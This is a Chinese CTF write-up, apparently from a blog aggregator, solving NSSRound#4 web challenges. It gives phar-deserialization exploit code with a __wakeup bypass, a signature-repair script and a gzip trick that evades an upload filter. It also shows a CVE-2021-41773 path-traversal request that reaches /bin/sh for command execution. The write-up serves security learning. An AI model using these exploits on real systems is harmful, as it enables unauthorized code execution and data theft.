当前位置: 首页 > news >正文

NSSRound#4 Team

[NSSRound#4 SWPU]1zweb

考察:phar的反序列化

1.打开环境,审计代码

1.非预期解

直接用file伪协议读取flag,或直接读取flag

file:///flag
/flag

2.正常解法

用读取文件读取index.php,upload.php的源码 

index.php:

<?php
class LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){$this->ljt="ljt";$this->dky="dky";phpinfo();}public function __destruct(){if($this->ljt==="Misc"&&$this->dky==="Re")eval($this->cmd);}public function __wakeup(){$this->ljt="Re";$this->dky="Misc";}
}
$file=$_POST['file'];
if(isset($_POST['file'])){echo file_get_contents($file);
}

upload.php

<?php
if ($_FILES["file"]["error"] > 0){echo "上传异常";
}
else{$allowedExts = array("gif", "jpeg", "jpg", "png");$temp = explode(".", $_FILES["file"]["name"]);$extension = end($temp);if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");if(gettype($pos)==="integer"){echo "ltj一眼就发现了phar";}else{if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在";}else{$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content);fclose($myfile);echo "上传成功 ./upload/".$_FILES["file"]["name"];}}}else{echo "dky不喜欢这个文件 .".$extension;}
}
?>

ndex.php中只需要绕过_wakeup魔术方法就行了,可以考虑增加自然属性个数或增加属性个数来绕过,因为upload.php会检查stub,所以压缩文件成zip(注意要用winhex改变属性个数,不然签名会改变),用phar://伪协议来读取文件

phar压缩:

<?php
ini_set("phar.readonly","Off"); 
class LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){$this->ljt="Misc";$this->dky="Re";$this->cmd="system('cat /flag');";}
}
$a = new LoveNss();$phar = new Phar('aa.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();?>
#注意要手动将php.ini中的phar.readonly改成Off

提交发现文件没有运行,所以考虑可能是压缩文件格式的问题。

用linux命令gzip压缩成gz

cd 工作目录
gzip aa.phar

得到aa.phar.gz,改文件名为1.jpg上交,用phar读取发现签名损坏,所以要进行签名修复,phar由data,data签名(20位),和签名格式(8位)组成

修复脚本:

from hashlib import sha1import gzipfile = open(r'C:\networkSafe\phpstudy_pro\WWW\aa.phar', 'rb').read()data = file[:-28]  # 获取需要签名的数据
# data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeupfinal = file[-8:]  # 获取最后8位GBMB标识和签名类型newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMBopen(r'C:\networkSafe\phpstudy_pro\WWW\new.phar', 'wb').write(newfile)  # 写入到新的phar文件newf = gzip.compress(newfile)
with open(r'C:\networkSafe\phpstudy_pro\WWW\2.jpg', 'wb') as file: #更改文件后缀file.write(newf)

最后上交修改后的2.jpg得到flag 

[NSSRound#4 SWPU]ez_rce

考察:CVE-2021-41773目录穿越漏洞

Apache 披露了一个在 Apache HTTP Server 2.4.49 上引入的漏洞,称为 CVE-2021-41773。同时发布了2.4.50更新,修复了这个漏洞。该漏洞允许攻击者绕过路径遍历保护,使用编码并读取网络服务器文件系统上的任意文件。

brup构造如下数据包, 

POST /cgi-bin/test-cgi/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh

重点在/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh%2e.的url编码,所以这一段其实就是/cgi-bin/../../../../bin/sh

echo;xxx则是命令执行 

 获取flag信息

跟进/flag_is_here发现还有文件夹

这里我们用grep来进行过滤来读flag

echo;grep -r "NSS" /flag_is_here

[NSSRound#4 SWPU]1zweb(revenge)

考察:php代码审计,文件读取漏洞,文件上传绕过,phar协议反序列化漏洞

首先有一个查询文件的功能和一个文件读取的功能,一开始以为是文件上传的漏洞,后面发现不行,应该是网站在后端限制了文件上传的后缀,观察到这里有个文件查询的功能应该是文件读取,试一下直接读flag

读取flag失败,那我们就先读取一下源码index.php

<?php
class LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){$this->ljt="ljt";$this->dky="dky";phpinfo();}public function __destruct(){if($this->ljt==="Misc"&&$this->dky==="Re")eval($this->cmd);}public function __wakeup(){$this->ljt="Re";$this->dky="Misc";}
}
$file=$_POST['file'];
if(isset($_POST['file'])){if (preg_match("/flag/", $file)) {die("nonono");}echo file_get_contents($file);
}

发现跟之前题目有点相像

因此猜想这里应该是利用了phar协议的反序列化来拿flag

Phar反序列化
Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作

再看看upload.php文件

<?php
if ($_FILES["file"]["error"] > 0){echo "上传异常";
}
else{$allowedExts = array("gif", "jpeg", "jpg", "png");$temp = explode(".", $_FILES["file"]["name"]);$extension = end($temp);if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");if(gettype($pos)==="integer"){echo "ltj一眼就发现了phar";}else{if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在";}else{$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content);fclose($myfile);echo "上传成功 ./upload/".$_FILES["file"]["name"];}}}else{echo "dky不喜欢这个文件 .".$extension;}
}
?>

可以看到首先是对文件后缀的限制,然后是对phar文件里的_HALT_COMPILER();进行匹配,这个函数是phar文件的标志性函数,这种限制手法是有漏洞的,可以绕过的,我们可以将phar文件用linux的gzip进行压缩来加密它,以此来绕过此检测,在上面的魔术方法的图里看到了wakeup函数,在php低版本里,可以通过修改属性个数大于实际属性个数,来绕过wakeup函数,但是因为phar文件生成时是自动进行序列化的,所以我们我们需要修改文件,phar文件生成时会进行签名,来防止被修改,所以修改文件后我们需要对phar文件重新签名,phar文件有几种不同的加密签名选择,默认签名方法应该是要看生成phar文件的php版本

构造恶意phar文件

<?php
class LoveNss{public $ljt="Misc";public $dky="Re";public $cmd="system('ls /');";
}$a = new LoveNss();$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //自定义的meta-data
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算,默认是SHA1
$phar->stopBuffering();

生成phar文件,要绕过__wakeup方法,手动修改反序列化的数量

这里修改了反序列的数量后,绕过了__wakeup()方法,但是修改之后,签名确保完整性就不对了,所以还要重新进行签名,默认是SHA-1算法,那么就用SHA-1算法吧

from hashlib import sha1file = open('phar.phar', 'rb').read()data = file[:-28]#要签名的部分是文件头到metadata的数据。final = file[-8:]newfile = data+sha1(data).digest()+finalopen('newpoc.phar', 'wb').write(newfile)

 

生成了phar文件后,进行压缩看看是否能使__HALT_COMPILER()消失

确实不存在了,那么将zip文件修改了合适的后缀,上传应该就可以了吧,直接上传,使用phar://伪协议应该就可以了吧 

但是呢Phar伪协议确实执行了解压,但是eval()函数似乎没有执行的命令内容呢,不符合预期的解,再重新试了几遍,发现结果都一样。想了一想,签名生成应该不会有问题,Phar能够进行解压缩,说明重新签名应该也不会有问题,有没有可能是zip压缩的问题,换一种压缩试试,换成gzip

继续进行同样的上传和phar://伪协议操作

这里显示要用SHA256加密进行签名,返回去将SHA1修改为SHA256,再进行gzip后,再进行相同的操作

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • C++初阶学习第三弹——类与对象(上)
  • vue的nextTick的作用
  • leetcode-136. 只出现一次的数字
  • C#中的异步编程:如何有效地使用async和await关键字以提高应用程序的性能和响应性
  • 【linux】在多核CPU下,好像看到不同进程在不同CPU调度
  • vue js 将对象转换为 JSON 字符串 ;将 JSON 字符串转换为对象
  • 人工智能与机器学习原理精解【9】
  • SQL进阶技巧:车辆班次问题分析
  • Typescript配置文件(tsconfig.json)详解系列四:esModuleInterop和allowSyntheticDefaultImports
  • Redis7-入门-安装
  • C#使用csvhelper实现csv的操作
  • 【数据采集与可视化案例】基于python的国家级非物质文化遗产数据采集与可视化分析
  • 【漏洞扫描器】使用nessus扫描工具扫描服务器,并生成漏扫报告
  • SpringBoot Vue用自签名证书SSL配置https,http转发到https(整理文章)
  • test1111
  • $translatePartialLoader加载失败及解决方式
  • [译]如何构建服务器端web组件,为何要构建?
  • CODING 缺陷管理功能正式开始公测
  • ComponentOne 2017 V2版本正式发布
  • co模块的前端实现
  • Hibernate最全面试题
  • java 多线程基础, 我觉得还是有必要看看的
  • JavaScript 无符号位移运算符 三个大于号 的使用方法
  • JavaScript 一些 DOM 的知识点
  • java中的hashCode
  • Object.assign方法不能实现深复制
  • SpringCloud(第 039 篇)链接Mysql数据库,通过JpaRepository编写数据库访问
  • 开源地图数据可视化库——mapnik
  • 试着探索高并发下的系统架构面貌
  • 体验javascript之美-第五课 匿名函数自执行和闭包是一回事儿吗?
  • 在Unity中实现一个简单的消息管理器
  • 怎样选择前端框架
  • AI算硅基生命吗,为什么?
  • 函数计算新功能-----支持C#函数
  • 好程序员web前端教程分享CSS不同元素margin的计算 ...
  • 京东物流联手山西图灵打造智能供应链,让阅读更有趣 ...
  • ​软考-高级-信息系统项目管理师教程 第四版【第23章-组织通用管理-思维导图】​
  • (¥1011)-(一千零一拾一元整)输出
  • (C#)获取字符编码的类
  • (c语言)strcpy函数用法
  • (Java)【深基9.例1】选举学生会
  • (不用互三)AI绘画:科技赋能艺术的崭新时代
  • (离散数学)逻辑连接词
  • (三分钟)速览传统边缘检测算子
  • (转)fock函数详解
  • (转)详解PHP处理密码的几种方式
  • (转载)跟我一起学习VIM - The Life Changing Editor
  • **PHP二维数组遍历时同时赋值
  • .bat文件调用java类的main方法
  • .equal()和==的区别 怎样判断字符串为空问题: Illegal invoke-super to void nio.file.AccessDeniedException
  • .Net Remoting(分离服务程序实现) - Part.3
  • .Net Web项目创建比较不错的参考文章
  • .NET 中创建支持集合初始化器的类型
  • .php文件都打不开,打不开php文件怎么办
  • /etc/fstab和/etc/mtab的区别